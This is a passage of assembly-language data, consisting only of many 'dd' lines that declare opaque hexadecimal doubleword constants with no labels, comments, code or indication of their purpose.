		dd 92E7A005h, 2F0C74A6h, 262B5D1Fh, 0C093C96h, 5E37B702h
		dd 4D39D9AFh, 95A0F11Ch, 9A9AD7C1h, 899E7CF5h, 0D92B4F8Ah
		dd 0CBF06A43h, 0DE21AF72h, 0F0FCA2BAh, 1962151Ah, 34D4EDC6h
		dd 781E139Bh, 5F6273EBh, 0F1EE1DD7h, 0F513BB17h, 7BE530F5h
		dd 0C8B6CF9Eh, 4C176E74h, 0E49734ACh, 0A8E238ACh, 5BEE9CAAh
		dd 0DFF29E75h, 52D1F97Eh, 29C2A300h, 0D8B432D1h, 0BCB5D28Dh
		dd 91CB4FE9h, 0ECAAD19Ah, 0E0B357DBh, 0E178DA74h, 0C1BCE498h
		dd 5DB1E03Bh, 6AAD3681h, 5202B453h, 0B84083A3h,	0C1685C35h
		dd 415F7D9Ah, 0FD8CAF93h, 3C4BB593h, 0C72FA7AEh, 1E143799h
		dd 3B6BE9FEh, 683003B1h, 0F2B2FC0Ch, 0A9D794A9h, 0FE07A105h
		dd 8A92BA85h, 6EBB353Bh, 0C0A1CD35h, 5FB58A2Fh,	29E15AA7h
		dd 3B2FD5A6h, 0A26C47CAh, 0AE5F0480h, 0E4B32F8Bh, 52DDA0A4h
		dd 5576C083h, 0C886A934h, 731E57FFh, 0EFC07C38h, 0C76AA4F3h
		dd 55A057D6h, 17F6B9A5h, 915AD309h, 590C1957h, 0EA59139Bh
		dd 5415CA7Ah, 986EA576h, 1E1A2862h, 0FCB0EC23h,	63A59BC9h
		dd 73A3C0E4h, 0C95A777Ah, 5F2EBD49h, 75F52E77h,	0D8EC1C4Dh
		dd 0DFEC3CFCh, 3CB063D4h, 0DF947428h, 58BFC74h,	45FFA329h
		dd 6E5A486Eh, 0BB9C1099h, 1F80400Bh, 46FE6F0Eh,	0A0919D52h
		dd 1B8A78AFh, 565DC37Fh, 5F47CCFDh, 241B1D54h, 3009F669h
		dd 0B35DB4C0h, 914652B9h, 56FA50E1h, 891FB03Ch,	0D0C42E53h
		dd 0AE183B38h, 0C4CF0B74h, 81F49F0Bh, 0B8908DABh, 298D2B18h
		dd 0E4E74CE4h, 0C3E1A478h, 18233C4Ah, 19E5881Dh, 5F9F3CFEh
		dd 0D2954382h, 49A9298Bh, 0C0EFE00Bh, 5971709Ah, 0A25246A3h
		dd 380758DDh, 0A58AA8DFh, 0D1027F96h, 2BEE0C3Eh, 539CF86Ch
		dd 36C08689h, 0AE138FC6h, 63B411F4h, 0C8DFECB3h, 0CA4DE371h
		dd 782CD6F4h, 2DD8599Dh, 26D0CE7Ch, 7DB77263h, 8260E04Bh
		dd 9F9DFE7Ah, 6835BD6Fh, 0BB54CA05h, 0CF69F237h, 0F47F0955h
		dd 8CDD5566h, 1B15EF64h, 34A221F8h, 5432A175h, 0B570D348h
		dd 0BE49F2B9h, 9817ADCAh, 2ECCA4Ah, 0F91F4C92h,	1DC208D1h
		dd 581FAED1h, 0BDE9FF72h, 869E745Bh, 0A7E0DA99h, 0A113866Dh
		dd 87DDC247h, 0B5956BD4h, 0BC599F5Eh, 0C90E8692h, 783C64F2h
		dd 8E6AD1FDh, 7BB96854h, 9720E672h, 73307D49h, 97FABF1Ah
		dd 6C3ADBD1h, 75E6CEA5h, 823D1785h, 5974BAC7h, 9977C2CFh
		dd 0AAD6F879h, 4E78DC93h, 552D8BDFh, 0CE75FE42h, 5669EBEBh
		dd 0D67046D0h, 0CDB213BDh, 522E3C9Eh, 66D48BA3h, 0DE5C4BEh
		dd 0CDB60C57h, 0EF2D865Fh, 0FC0505D9h, 24BF2E25h, 98AF707Fh
		dd 48139377h, 0F3DEA769h, 33DD1FE4h, 91400BF2h,	0C3AE1E06h
		dd 0E7E6F3D7h, 0E1F8525Dh, 55708671h, 616CB1D0h, 20AB4D1Dh
		dd 5E93FF77h, 0A03BD4CDh, 0AE2B4CF9h, 0DD574ED4h, 7430262Fh
		dd 143D29FDh, 2B656EF6h, 46F240D0h, 0D1AE754Bh,	84266F49h
		dd 0A4801B11h, 0E2B23D1Bh, 0BAAC0921h, 0FB1D63ACh, 0AC195EA2h
		dd 2A3216E5h, 0D28F7C02h, 0ABBF85B8h, 30BAE314h, 14CB6C11h
		dd 496AB545h, 4D1CF25Ch, 73349DA2h, 0B256278Fh,	0BB0FD159h
		dd 1C42E2FEh, 0E0E922E1h, 7483E368h, 0D5E8355h,	0AE3C39D1h
		dd 0D0172A6Eh, 66E122BAh, 5901FA05h, 57F1ABE6h,	429418CAh
		dd 6A1F5EFEh, 0DA3D05CCh, 26FD12ADh, 2324D25Fh,	0BF84F8Ah
		dd 48C2F6C4h, 6535375Bh, 0B8D4A8FDh, 284282CBh,	6AA0CD65h
		dd 8BD4897Fh, 822D612Fh, 0ABEDE9CEh, 0E5532BDAh, 0D51F71A7h
		dd 81E764BBh, 0C0FAFED3h, 0AB17C3ADh, 0F2F422FCh, 71420943h
		dd 0C0424F83h, 764FAB9Ah, 937A17F6h, 598372F6h,	42DA29E0h
		dd 0A98FE23Ch, 5BA11398h, 0FA2029B5h, 0E7A1727Ch, 4F6580D1h
		dd 2FDF37ABh, 8567303Eh, 0AB138117h, 528A9C87h,	57358292h
		dd 0AD6DF713h, 995BD68Dh, 393AC864h, 878F21F8h,	0EEDEE349h
		dd 0A0B901AEh, 0BB73DD28h, 16ABE4AEh, 8F8876DEh, 76EF7E22h
		dd 9EB9B8E5h, 0D2AFAB17h, 0C3D047D4h, 0D48F1F34h, 403BE1B5h
		dd 0AD0B40FBh, 47EE6330h, 0DA88CE81h, 0F55E50EAh, 9C8C0BB6h
		dd 456DBE45h, 0AC4EAFD3h, 679DB450h, 0E80EE41Bh, 999CFA0Ch
		dd 0D8D7819Fh, 845A6543h, 8AA60D26h, 10E82B9Ah,	0CA6C2DDBh
		dd 0BC5368B3h, 394A1C09h, 0B971ECB9h, 6C20BB4Bh, 4AFF28F5h
		dd 0CC927BAh, 61BD92E9h, 721BA896h, 0B81DF4Ch, 0F4A87F57h
		dd 56C16892h, 0C825629Dh, 61CCA053h, 32AAFBFDh,	8AEB468Ah
		dd 225A8AEh, 8A53CF96h,	0A2B17B77h, 23A8F4AAh, 0DB9BD854h
		dd 40A0D289h, 4AD1D60Ah, 0A8188984h, 81FEB2DCh,	0DCC5C219h
		dd 3D2BCB64h, 0DFE5642Ah, 12D039EEh, 6BE63E05h,	8409E6A7h
		dd 58FF7D74h, 0C4D72416h, 8B58EE6h, 0FB7232F6h,	0BFA22D2Bh
		dd 86784BEDh, 2B639E00h, 178925FEh, 6657B8D9h, 0F3115780h
		dd 6B5B545Fh, 0AD82320Bh, 8D403879h, 887DEF39h,	0EB2C4FBFh
		dd 11B8F87Eh, 83E64F94h
		dd 1F86DBB2h, 4E2E8AF7h, 7E12298Ah, 31B3488Ah, 7514757Fh
		dd 546483E7h, 0E069282Eh, 0C964645Bh, 0B6DADDABh, 0D0BFE2FEh
		dd 0E5615E56h, 23E4D5D9h, 3DDC4AF3h, 8FC84E25h,	47A4344Dh
		dd 73F236B8h, 4475A743h, 64C7F5ABh, 8736D76Fh, 0CABCDB33h
		dd 5A2070CBh, 0F423816Dh, 82AFC2EAh, 8515F7Bh, 4170D3E4h
		dd 5637F27Ch, 8E57E14Bh, 0C6416835h, 7942D6C4h,	2289477Bh
		dd 0BF2B5DA0h, 0D59F9777h, 0C11F7655h, 895012DBh, 98A72ABFh
		dd 392B04FEh, 0FCD12AA1h, 0EB325062h, 843F2C56h, 0D0BA56BBh
		dd 70791F4Bh, 568CA32Bh, 5F8A076Ah, 0D47B746Eh,	0FE43061Bh
		dd 4E8F03CAh, 42312BF8h, 4E000964h, 7A898683h, 5DFBE21Eh
		dd 4C61E119h, 4D5EFC88h, 0C496632Eh, 0FEF6418Eh, 0DD9D172Ah
		dd 278B9F6Ch, 518968E2h, 90B5A2A7h, 52D936FDh, 0C4422160h
		dd 0DABC37B5h, 0EE65A7Dh, 0D52C8603h, 0F77856F7h, 0BB16C0FBh
		dd 63AF6EFFh, 0DE0B6CCFh, 183BCBACh, 196BF86Ch,	0F01F46Ch
		dd 0A9A2188Eh, 0D3CD7429h, 0DCF5E98Dh, 8D4EDABCh, 81F2EC12h
		dd 774E2E55h, 0D5F8D035h, 1D671EF8h, 5C67F644h,	0A3717815h
		dd 0E8944AB5h, 70D40AEh, 4392BE4Fh, 9F14C119h, 69066F47h
		dd 1895F96h, 3E55070Fh,	0BD14FEB8h, 6266830Dh, 0A7DAC3A9h
		dd 0B4E2E657h, 0A81290E8h, 0D4C5696Fh, 0E59FA566h, 313A28DAh
		dd 82FD317Fh, 30341189h, 55892DABh, 861193C9h, 989AFB80h
		dd 5C837E75h, 0BA69EB0Ah, 7FC5A6ABh, 1155A6F1h,	0B85EC52Ah
		dd 1A3062C4h, 26761E29h, 0D0CEEF7Fh, 595CA77Ch,	0F7777537h
		dd 3EC8B997h, 746AAF34h, 0FA9B40E1h, 59489032h,	240BC78Bh
		dd 65DF5279h, 779DA452h, 2F15EA2Bh, 0CAB6A9DAh,	0B5D6EFCCh
		dd 276DF689h, 0F573E801h, 4CD6B495h, 8BAFB0FCh,	0B575B605h
		dd 65E9D968h, 2DEBBE0Ch, 8BCD2391h, 9B475297h, 0DCED2DD6h
		dd 992C431Bh, 3456411Ah, 67F1BC1Fh, 278E4672h, 9A3B50C4h
		dd 0C3307D80h, 0B23AC1E3h, 5255253Ah, 66B48465h, 0EDC5B9F8h
		dd 0C2D3BD5Ah, 0B954B2A7h, 6861AB8Dh, 0EB32E822h, 0B058B444h
		dd 0BAAAAD3h, 0FB47CEF8h, 9FDC8997h, 44428505h,	255CA976h
		dd 550E568Ah, 0CE04EFC9h, 0F6A7ED40h, 75818F36h, 0F40DD197h
		dd 85D70C2Fh, 5472797Fh, 0BDDCB619h, 35ABBE4Eh,	63315949h
		dd 88546EB4h, 54DC1C46h, 5835514Dh, 2505A72h, 0AB328649h
		dd 8B73F33Dh, 0E783CFE9h, 0B7462AC7h, 0DD5BA3A5h, 570AAD5Eh
		dd 7FD71117h, 0EB570F41h, 239C6356h, 5A1F279Fh,	68128DACh
		dd 0B32F9F7Dh, 6CD4D039h, 8C80F381h, 6EE205D9h,	0EACF1645h
		dd 2E604981h, 0ECA17227h, 0AD508B09h, 40168FD5h, 0C8D197BCh
		dd 36E66737h, 1E2DDEE0h, 0FDB43018h, 0AE7F319h,	5746E1E3h
		dd 70448551h, 352B8957h, 0D5EFCAD1h, 4220E5DDh,	5D37B772h
		dd 0F0C1911Ch, 1E97C983h, 0B7BCF610h, 61F382D1h, 3A86E1A4h
		dd 0EF6E8891h, 39CF5974h, 235B2D75h, 0DC152D41h, 74A3E93h
		dd 7A2201CAh, 0A54E2769h, 0D288C72Bh, 6292018Eh, 2373BFDCh
		dd 21A83E8h, 0DF01B36Ah, 6744846Bh, 50863894h, 5CE796EBh
		dd 9199B12Ch, 9A10EFD6h, 2E3B8DFEh, 1F8FDCFCh, 2257A2FCh
		dd 3C706AD7h, 8077D408h, 66C0EB7Eh, 0B6E768FAh,	914D27BEh
		dd 746E6C0Dh, 99B1E295h, 63117BCFh, 84E649FDh, 73911F53h
		dd 0CF3218E2h, 8B2EBFD4h, 0CDFCBBE7h, 7D717936h, 0BB92D4ECh
		dd 0F67B64A3h, 0E15C102Fh, 57CACB81h, 76E170D0h, 6A37BAC9h
		dd 0A89E8185h, 0D127A9F6h, 479C6D6Fh, 389F6CDAh, 0D0DDE1DAh
		dd 0C1E75729h, 3CB826BFh, 72604470h, 38F6CEFAh,	19B41A64h
		dd 0DDBB8222h, 6410B99h, 0CDFE2E0Dh, 577EA562h,	0C55997CFh
		dd 53F104Bh, 0B824A75Bh, 1F9080F0h, 0FD04E0B3h,	6E340A9Bh
		dd 383C0C71h, 69C7DDFEh, 0BADDA8D5h, 0B97C5A02h, 0D63D514Ah
		dd 0F8DEAC0Dh, 23DAA839h, 0AB3D6B16h, 56E70B3Ah, 98D51507h
		dd 8DBC47C3h, 1BC529BEh, 856F5A3Bh, 0EB54C254h,	0D1AE0273h
		dd 6796026Bh, 0F68CB661h, 1B829157h, 1BEC8D7h, 12175E2Fh
		dd 0F0F4F581h, 0CD20CDFBh, 0BC88572Eh, 3B152468h, 0E8C37E33h
		dd 7E0F6FB6h, 153AA67Fh, 0FCC8361Ah, 7557ABD3h,	280852ACh
		dd 60CED61Fh, 0B74CDA3Eh, 0C1B65233h, 703C5947h, 130DC7DAh
		dd 0C2073964h, 6D1BE76Ah, 0BC439C75h, 35C9FDFBh, 5235F055h
		dd 0DA3C9146h, 8DDC1BEAh, 533C9DCCh, 57D81569h,	4E174C46h
		dd 48D8AB01h, 0DA36E4BEh, 1B56AA6Ah, 92C73ED7h,	0E48B1BAEh
		dd 0EC9859D4h, 0FF4CB7F4h, 0C53E057Dh, 0E973E607h, 6BAEC247h
		dd 0CB97B780h, 292A1BCh, 80B6A38Bh, 0D36FFD00h,	5A7886F1h
		dd 0E3DAB306h, 352AA1EDh, 2FBF2370h, 25B37790h,	912F1BE1h
		dd 0AE0D2ADBh, 18BF2E65h, 5C4E6EDFh, 252758D3h,	2FE007AFh
		dd 7BA1D8D5h, 0B4123E3Fh, 0C3F177F5h, 899F5B09h, 6FDE7130h
		dd 6E907C32h, 0ADBB65DFh, 8A95A6E7h, 33995AFh, 0A2BD66A4h
		dd 18787F9Dh, 0EF6C01C7h, 2792B0C5h, 9DC7B8A4h,	0F9ED7F92h
		dd 0C34B232Bh, 0BB5D7780h, 0C34462D5h, 2A90D29Fh, 908E0FE2h
		dd 6D0B4581h, 57F8805h,	0F1F9BA9Eh, 75EBA781h, 257589F1h
		dd 0D4FD7AD5h, 76894519h, 0FA80AAB0h, 0BCF44AC3h, 0E573E9F1h
		dd 0D641F631h, 0B75DDCA9h, 6B5F06EFh, 0D6CF64Ah, 0A99B8D5Ch
		dd 0E1BB771Dh, 4FDB01DBh, 7078DC06h, 452012CCh,	0CFA2D1E3h
		dd 351ABFBDh, 0B55B4933h, 55230693h, 0CCA74472h, 896C4AAh
		dd 564CBA37h, 0AAE9285Ah, 243D4523h, 0C8C15A7Eh, 0FB54F1FDh
		dd 0A14D8226h, 33F15E0Ch, 59648672h, 874F7DF7h,	99550218h
		dd 3F9427A4h, 0E5F5AD10h, 0F2781BA8h, 4409EEC0h, 0F4C2370Ch
		dd 52517565h, 6CB6E007h, 0E967F175h, 0EA178CB5h, 68E7F79Fh
		dd 0BE1DF9F5h, 0C88274B2h, 49A46F83h, 0F648E2D5h, 122525CFh
		dd 5B74CEBAh, 0F7ED62B5h, 685BDE6Bh, 68377CE0h,	68F3B958h
		dd 33602207h, 86C7854Fh, 0E9CEAAF8h, 52A9E770h,	0F809ED59h
		dd 0C21061A1h, 0D110459Dh, 2E702363h, 0F2F5B8CAh, 5FF83493h
		dd 0DE186D9Dh, 2ED4AFB1h, 0D10B306Eh, 71209583h, 0FA60E803h
		dd 0BDCDAC9Ch, 0BBF1989Ch, 0ABC4C9DBh, 0A9810F93h, 73D977BAh
		dd 6B17E56Fh, 6A4A0F3Bh, 0FF85EA4Fh, 45FBA129h,	5965C6FEh
		dd 8C5D38FEh, 7A1E595Ah, 5664E74h, 0C55B7F6Dh, 0FBE794CEh
		dd 0FE1DA097h, 4D7BD8E2h, 0BF6BC5EBh, 99953A0h,	4A8AEFFFh
		dd 5B267B46h, 5722E57Ah, 7FDDF5F5h, 55E5874h, 25194295h
		dd 8AC4CC4Bh, 47FE5A82h, 0D407C8A2h, 1336962h, 5C8B2BA5h
		dd 603650FBh, 5BAFAE2Ch, 8DF7F63Ah, 656DC743h, 316357D8h
		dd 0E4DF7C32h, 9B450658h, 0C5B97182h, 0A259244Ah, 0A7BF68E8h
		dd 0A6CB32C8h, 0E7316BEh, 802E7D64h, 59FCD75Fh,	52D85917h
		dd 58D7D06h, 0EF9BC12Ah, 0AFDAFE76h, 4C3E65A2h,	3855C5Ah
		dd 0E78B4D4Fh, 0DCA111E0h, 42F696D4h, 0DDA23735h, 39D5B469h
		dd 82BDAF74h, 0DEF4292Ch, 173F2EDEh, 87679B36h,	0B3C42D52h
		dd 335F66EAh, 444DFAE6h, 1B073134h, 696D9D6Dh, 0CE53F3B4h
		dd 8E70645Fh, 2119E557h, 8F7731EBh, 67A87C47h, 0A1AF68FEh
		dd 0C2BEA345h, 0FD5EBED7h, 6DA2B4BCh, 0BC2ED94Bh, 0CBAECB54h
		dd 2D0B9815h, 7DAAEAB6h, 0D63FCBC2h, 0BB94B741h, 40AEA2E6h
		dd 996C05A3h, 2DE1F834h, 750D7149h, 1871BB25h, 7BB55B11h
		dd 0F467B1A7h, 0FDB92C9h, 0D9116588h, 69BE6BBAh, 0C1018A56h
		dd 8B4412A1h, 7BB05523h
		dd 0F1F1873Dh, 667EBBA5h, 0FFD6A02Ch, 66BEE1F8h, 63704564h
		dd 2D25D50Eh, 14310AFAh, 1374D714h, 0D54CD526h,	2727AF70h
		dd 0ED5FAC9h, 1EA44E0Dh, 8BBAF128h, 26717332h, 0CE56DC76h
		dd 8F161F57h, 1399C804h, 9A2C5A3Fh, 9B41EAB8h, 0D2CE281Eh
		dd 2FBFE424h, 0AE2D66AAh, 0E2562329h, 2355580Ah, 6B328C7Dh
		dd 0C8DA387Dh, 0C1554F51h, 0FCDFC176h, 911787E0h, 10C145D0h
		dd 0F3327501h, 0B9924A04h, 4620D708h, 54EF957Bh, 3A4BBD4Fh
		dd 0AFAE91C4h, 0FA017F8Dh, 0F39D411Fh, 2BE8B8BBh, 9B2D94D3h
		dd 87B7B096h, 4D59DE86h, 0E01104D8h, 0FF6FFBBAh, 291FBD02h
		dd 948D15F4h, 43A7D659h, 0CF830EFh, 0CC657BC6h,	0A13328E9h
		dd 1BC6AEAh, 0E2EF729Ch, 3F52F3CCh, 5098C0F4h, 678AEF77h
		dd 0F1970A8Ch, 0E35DA346h, 7E07F44Ch, 6BACCB39h, 40345A15h
		dd 263A2BEFh, 8F66FFB6h, 0B6D3B0AEh, 80216BD1h,	3B394F87h
		dd 983C33DBh, 86C387FEh, 0AE538917h, 4905177Dh,	967C18A2h
		dd 135AF658h, 72DD5379h, 0D7ABB8CDh, 3904CF41h,	98289B87h
		dd 5EEF1CBDh, 353D496Ch, 8D071609h, 5D1D229Ch, 0FB9D9B85h
		dd 5E894D8Fh, 0E326D77Bh, 924B5A0Ch, 8973F357h,	0EFF676D2h
		dd 0D8BA5606h, 0A77C975h, 0EB245D09h, 0B0FD3F74h, 0EE1DA437h
		dd 585546D8h, 44BD7B24h, 65F06DB5h, 15704BB7h, 0BC20CBABh
		dd 85802ED2h, 0A9C8938Ch, 177BB685h, 1DAABC3Fh,	5571AD0Ah
		dd 0DDAA5559h, 0ED4A6D1Ch, 0B43C73B5h, 0F03E7304h, 1B655062h
		dd 0CF90FBBDh, 2694E42Fh, 321A7638h, 7C657C2Ah,	0A601DABAh
		dd 7DE05B6Ah, 7B9C3BD7h, 0BCDD4893h, 40D761F1h,	0A0A512ACh
		dd 0A5F1425Ah, 0EF7051E6h, 0DCB3AEAAh, 0F7DB5E1Ah, 0E6D066D4h
		dd 89D9624Bh, 9C19D9C6h, 80AF302Bh, 1DB358D0h, 42B6CDDCh
		dd 57EA9CD0h, 1E05D3Ah,	0E41B4116h, 6C4469C7h, 8057A25Dh
		dd 2454ABF8h, 2A9426EBh, 9B75D5C4h, 0EFB9FB37h,	3CB9E5D6h
		dd 3B93AD5Fh, 64E3987Eh, 6F01625Ah, 0E1103957h,	0D00BE235h
		dd 0A46EBB84h, 0D7E927FEh, 0FAADC59Dh, 56BD8652h, 0BF25AE16h
		dd 0BB9B7607h, 1973BA64h, 9EB3B23Fh, 0BF96A225h, 288B80AFh
		dd 7AB5AEEDh, 632EF39Bh, 0FFB341F9h, 0AEF1884Ah, 3313C0F1h
		dd 5B21AFBCh, 211906B4h, 0B4F1AF09h, 77F4C89Eh,	0A64A51B4h
		dd 0C3752E41h, 735EF0Fh, 0A79ADFBDh, 0CAA8F7Dh,	8AB6A099h
		dd 0CA88D223h, 0BE88337Eh, 2551E632h, 0AF8E7337h, 8FB2D8EAh
		dd 9655A3ABh, 2B698885h, 0C28D6ADBh, 0D8D35AC9h, 4CDDC488h
		dd 8809A862h, 87CC640Ah, 0D920185Bh, 950234E4h,	602274F8h
		dd 0CA94FB37h, 7DD6F2Dh, 1A768B9Fh, 0B3D0902h, 0F1BBB5CDh
		dd 0C0B43C77h, 57E633F7h, 5010B275h, 80A60655h,	570DEF49h
		dd 0F8150920h, 0D5394E0h, 96DC4F0Bh, 6A6B098Fh,	0C59A53EFh
		dd 0ACE0968Ch, 21BDE315h, 0E83D4F65h, 7C1ECE93h, 0E6D96AF8h
		dd 0DDE77C75h, 0A54406Ch, 534F716h, 0EBB3763Eh,	0ABFECA96h
		dd 0EAF459E6h, 7FE50532h, 0FDCF1C3h, 18EBA8FEh,	71ADA2BAh
		dd 6A2BE96h, 0E98962AAh, 7C11AFC6h, 0C264F360h,	0FDFF4AA4h
		dd 0AE885F81h, 71127B22h, 935E37DFh, 0E2A96DF4h, 0E9095B52h
		dd 0EC484D5h, 76FCC45h,	5C6B05FAh, 741C5399h, 0D68FD6A1h
		dd 0CFB099BDh, 5D8FBF52h, 82C7C3DDh, 1D7C0DADh,	0A2FCD606h
		dd 0EEED5D4Eh, 7C4B5823h, 0D0477255h, 0B5D4F94Eh, 0D1861828h
		dd 0D4443E20h, 0CB46D56Dh, 163BE602h, 0C8DC5754h, 7DCEAE8h
		dd 0EFA32CC6h, 69816095h, 63B12FEFh, 4090016Bh,	0A8FD3CFCh
		dd 278F9DD0h, 0E0945570h, 69E0FA1Bh, 0EBF3641Fh, 6AC0D7C3h
		dd 0C9BE8149h, 0FFD1ABA3h, 79EDF374h, 871016E3h, 0B9259D7Ah
		dd 0B207CEEFh, 0D2865766h, 0FC525AE4h, 0B19E7692h, 5E805A11h
		dd 0CF6C17C2h, 3F9BD6D2h, 0E7A850B6h, 28D84D6Fh, 38548D99h
		dd 4DF5707Ah, 2487D64h,	5EED3E94h, 0AAF4E8A2h, 0FB29F43Ch
		dd 0F9E645DFh, 0A4EB471Fh, 417FD5C4h, 0D6AA688Fh, 85B49FA5h
		dd 17776AE6h, 59389ACBh, 0CD620722h, 0BB0582E2h, 0C76DBFAEh
		dd 81FEE00Ah, 7A2E0093h, 212D3FF5h, 197BFF2Dh, 0B2B76EBCh
		dd 8FAEF234h, 0A1A6517h, 574D417Fh, 17CB581Eh, 4F62E43Fh
		dd 0BB82F12Dh, 0BD762573h, 0F2D3197Dh, 168E58BEh, 85F84763h
		dd 78F14E1Ah, 4F5CAFF0h, 965F3C09h, 17696713h, 0CAD75E5Ah
		dd 89F246BAh, 0ECFB9D5Bh, 617571C2h, 0BE0AC320h, 0D23FD54h
		dd 1F5C4898h, 6DF6525Ch, 6EB67DBEh, 2FE4F413h, 6F75A6B7h
		dd 6B6B94A4h, 880CB038h, 0A25B131Eh, 0F3DC6B19h, 0D1BF7EFBh
		dd 4B9CD9AAh, 5D79DEE2h, 2C41350Ch, 48D4218h, 8174E87Eh
		dd 74AD55C1h, 90BFCBB8h, 7FBD5766h, 0E560C39Ch,	5F5DC0D8h
		dd 6D585FCh, 9B9BE55Ah,	0F87CC467h, 58A7E22Bh, 0FB721581h
		dd 715660FAh, 9C98ABBh,	0C0958E07h, 8E5C44D8h, 6BDA5F9Bh
		dd 7FBA560Fh, 9C350B6Eh, 0CBB4BE45h, 0A701E4A6h, 4CBE99A2h
		dd 5DB7D5Ah, 7175A57Dh,	99F343F0h, 0CD605AACh, 0A04D9BB0h
		dd 9DA032DEh, 0E4499F5Bh, 30156EA7h, 5D67745Bh,	81E49D62h
		dd 18C62229h, 7BA94D32h, 92F8810Dh, 8BA3F578h, 0B2EC40D6h
		dd 8B896E37h, 258DD547h, 0B812FAC1h, 577FC2AAh,	0C59D3BFDh
		dd 0E1017ED7h, 0EB268DE3h, 129D81F6h, 0A163ED0Ch, 607862B7h
		dd 0DD045993h, 0D6C5DFCCh, 6134E4ADh, 691A3911h, 0E6A596CEh
		dd 52B10516h, 0D7AD4753h, 3C92BB52h, 557C2BEBh,	6234D2D0h
		dd 0BFF31AEDh, 322FEBF0h, 74E7BE7Bh, 0D9C9FB0Dh, 50D19ABBh
		dd 0F9F514F7h, 0BF1AA66Fh, 8CEE7FBEh, 0B771862Fh, 2A8B9DF5h
		dd 7D9C06D9h, 2971EC5Dh, 0FF3E084Dh, 0EFAA5D1Ch, 0DCF65E25h
		dd 4A4A8CFBh, 179217Ch,	57E585A3h, 0FABD89F4h, 0DAAF42FFh
		dd 0A39C1605h, 24E9846Ah, 6F3B1150h, 0D97406D6h, 0F9354755h
		dd 5981CD7Dh, 7F763CDEh, 0F362CF1h, 0CC4152CFh,	6B040617h
		dd 3AB29DFBh, 0AFAFEFF3h, 131ADC4Dh, 0AF68EE38h, 0E1DC276Ah
		dd 18DECBE7h, 0B641B770h, 0DF5ED36Bh, 56C909A0h, 0AE932517h
		dd 55464555h, 23D1B747h, 0DCC9A166h, 55AF97D2h,	587A97F0h
		dd 4399389Ah, 0B54BF3FDh, 0DC3516ADh, 56CD5015h, 9A53682Bh
		dd 1266C28h, 731BF9CEh,	3A208E4Eh, 0D602539Fh, 6707A76Fh
		dd 8DFBB96Fh, 62E09510h, 0A3A98B73h, 6F3F6BE0h,	87B68C55h
		dd 68DB4B13h, 0F6B26B3h, 75964456h, 43DA7D21h, 8F23D309h
		dd 4BFDA5FFh, 95FC6B6Dh, 0F94844C6h, 0EFF96E27h, 6EFEDF0Ch
		dd 75755F42h, 0DA2EB79Bh, 1DDD4E21h, 0D7DF9361h, 0C1D4096Dh
		dd 8BE48DF3h, 3ED87120h, 3D7DFA6Eh, 8654280Fh, 8C9568D6h
		dd 0A86C6D18h, 0F9E7E7CCh, 0DE7B75BCh, 6157FBAAh, 27A155ECh
		dd 7D519F1Bh, 819CEF0h,	81A653Ah, 87264F34h, 0C96F4F6Bh
		dd 0AC0FD1A7h, 7E8830D5h, 40FF8AEAh, 37A2B84Fh,	53D92AAEh
		dd 56480C7h, 0F86511CEh, 0F0445177h, 0CB6E2898h, 37A0A75Ah
		dd 0AAD795FCh, 98D5825Bh, 6A01AE43h, 7CE7EE5h, 0AE24CC16h
		dd 79CE098Ah, 0E547DE5Fh, 0F1D15ED2h, 8DCFA197h, 1CB7B21Eh
		dd 2FC60A49h, 19A1CFFFh, 2536043Fh, 2371A3AAh, 2D77881Ah
		dd 0B12BA894h, 5273D995h, 18948775h, 0D61DC1F4h, 0E73B4AA8h
		dd 0DD509BC1h, 0B24E7D44h, 0E15D7760h, 336479F7h, 67DCB13Bh
		dd 0E7856B38h, 997E0E69h, 1F88B56Bh, 0CDCC9D52h, 34307E97h
		dd 264D800Bh, 11F217FDh, 6C09BF28h, 45A59975h, 0AA99A3C9h
		dd 0FAC30555h, 0CE0EF5E3h
		dd 6AFAEE0Eh, 0A31112FBh, 17FC0824h, 0DAF34486h, 4A61CBAEh
		dd 3DCC287Fh, 2ACB21F8h, 30261876h, 4271FB36h, 215AFCB4h
		dd 4A1D977Fh, 28993736h, 96571C3Dh, 0E2F1F580h,	0B52D6287h
		dd 0BCFB091h, 7F9A7AC9h, 0DA4BC42Ch, 7F412527h,	6317FE1Fh
		dd 0CFB8A778h, 0DF40951Bh, 0D56D077Eh, 51B14CBFh, 3BF9B016h
		dd 9A6120B1h, 0ABAD01AFh, 9D755AE1h, 0BAC81413h, 0A5F8726Ah
		dd 0F7746D68h, 81EAEB5Bh, 0E724B340h, 2AABE8E1h, 54CFDB7h
		dd 4B2C270Eh, 0C60B44Dh, 0BB7642DEh, 680F36C7h,	168F8864h
		dd 0DA02ED47h, 9D0E4B47h, 8595B9CCh, 0BF712396h, 0B75656BDh
		dd 27E52015h, 0F5F7D025h, 948962FAh, 16507799h,	5E5CF46Fh
		dd 1F89598Fh, 11CFB76Ch, 3C357F3h, 73F0E723h, 5E6F9840h
		dd 4DF295DCh, 6ED33E31h, 540FE922h, 21CAEFD3h, 97595AD1h
		dd 4A338D5Eh, 0FE98C307h, 0B09790C9h, 0A682E400h, 7DDA314Dh
		dd 0FC94C7E6h, 0AD19AD59h, 67E4A986h, 9A33BC25h, 0A2EFBA65h
		dd 341D56DDh, 0E41A47C5h, 0C5FCB9DCh, 58686196h, 0F48700B9h
		dd 47322DFBh, 0D75AF263h, 7C7BD10h, 8C28BAC8h, 640FE5B4h
		dd 48E64669h, 2E0218B6h, 0DE753F33h, 5A37C8DBh,	0DC1F2D7Eh
		dd 0A7344A39h, 4CE6C4Ch, 8EBFE12Ch, 9B45643Dh, 99986E5Dh
		dd 207C0B38h, 3646D356h, 0D0B418DFh, 6A0F4E03h,	0EC6F50FBh
		dd 0C64BB4B7h, 0EB2CCF3Eh, 0D76EEBCFh, 2E6B9CEBh, 0A363DB13h
		dd 6F74B542h, 0EAF61725h, 0A4D53CC5h, 27E4D7EDh, 0D8100ADh
		dd 0C1CF94F3h, 49162BB1h, 5EC7943Bh, 7E88A855h,	0AB2948E7h
		dd 49088D62h, 0EBB5C2D2h, 92ED32D5h, 0AB96FB45h, 0CE72B39Ch
		dd 0F0F9966Ah, 2B543B0Ch, 0C4BF9EA6h, 0A2C5CCECh, 0BC8A2393h
		dd 5B71F0DBh, 7EDAFAFh,	4C31ACC6h, 68D8DD2h, 9D56EBC9h
		dd 3ABB1ADDh, 40BAC307h, 0CDA381F8h, 55179F68h,	5C196954h
		dd 3034530Dh, 55134B0Fh, 506D3EFDh, 0E5FECCD7h,	5FAEF773h
		dd 42F2323Bh, 99289625h, 0A79785F2h, 24128678h,	9ED291Dh
